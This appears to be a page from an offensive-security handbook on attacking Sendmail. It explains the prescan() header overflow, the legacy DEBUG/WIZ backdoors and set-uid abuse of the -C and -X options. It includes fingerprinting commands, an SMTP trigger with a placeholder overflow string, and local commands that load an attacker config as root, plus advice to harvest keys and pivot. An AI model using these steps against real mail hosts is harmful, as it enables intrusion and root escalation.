Sendmail

Sendmail is the original Unix MTA, and its attack surface is best understood historically because so many hosts still run old 8.x builds. Three strands matter. The prescan() function, which tokenizes addresses in headers, had a remote memory-corruption flaw: a crafted address header overflows its parsing buffer, giving control of the sendmail process. Much earlier, the DEBUG and WIZ SMTP commands were literal backdoors: DEBUG let a remote client deliver to a program instead of a mailbox (the vector the 1988 Morris worm used), and WIZ dropped the connection into a privileged shell when a wizard password was set or absent. Locally, sendmail is set-uid root and exposes dangerous options: -C loads an attacker-supplied config file and -X writes a log to an attacker-chosen path, both leveraged for privilege escalation on vulnerable versions.

Fingerprint#

bash
nc mail.victim.com 25
# 220 host.victim.com ESMTP Sendmail 8.14.4/8.14.4; Mon, 06 Oct 2026 ...
nmap -p25 -sV --script smtp-commands mail.victim.com
# smtp-commands may list DEBUG / WIZ on ancient servers; read the version band
sendmail -d0.1 -bt < /dev/null   # local: prints compiled version and options

The 8.x/8.x build number sets which strand applies: the prescan() corruption affects a specific 8.12/8.13 band; DEBUG/WIZ only exist on museum-grade installs; the -C/-X local issues track particular 8.x releases.

Mechanism and worked triggers#

The header-parse path is reached simply by submitting a message whose address header is malformed in the way prescan() mishandles; the corruption happens while the daemon tokenizes it, before any mailbox decision:

text
MAIL FROM:<a@attacker.test>
RCPT TO:<victim@localhost>
DATA
From: <crafted-oversized-and-malformed-address-token-string>
Subject: x

body
.

Delivering the message drives prescan() over the crafted token and triggers the overflow on a vulnerable build. The legacy backdoors are invoked directly in the SMTP dialogue:

text
WIZ
220 host ready for wizard    # or "500" where disabled; a shell prompt where not
DEBUG
200 Debug set               # enables delivery-to-program on the vulnerable era

Locally, the set-uid vectors are command-line invocations, e.g. pointing sendmail at a config you control or forcing a log write into a sensitive location:

bash
sendmail -C /tmp/evil.cf -bm       # load attacker config as root (vulnerable builds)
sendmail -X /path/under/attack -bp # arbitrary log write via the -X option

Variants and follow-on#

  • Treat DEBUG/WIZ as a tell for an extremely old, likely otherwise-vulnerable host rather than a dependable modern vector.
  • The prescan() corruption is the credible remote path on legacy 8.x; the -C/-X options are post-foothold local escalation since sendmail is set-uid root.
  • Success is code execution as the sendmail user (often root for the daemon), on a perimeter mail host: harvest the queue, aliases, and keys, then pivot.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more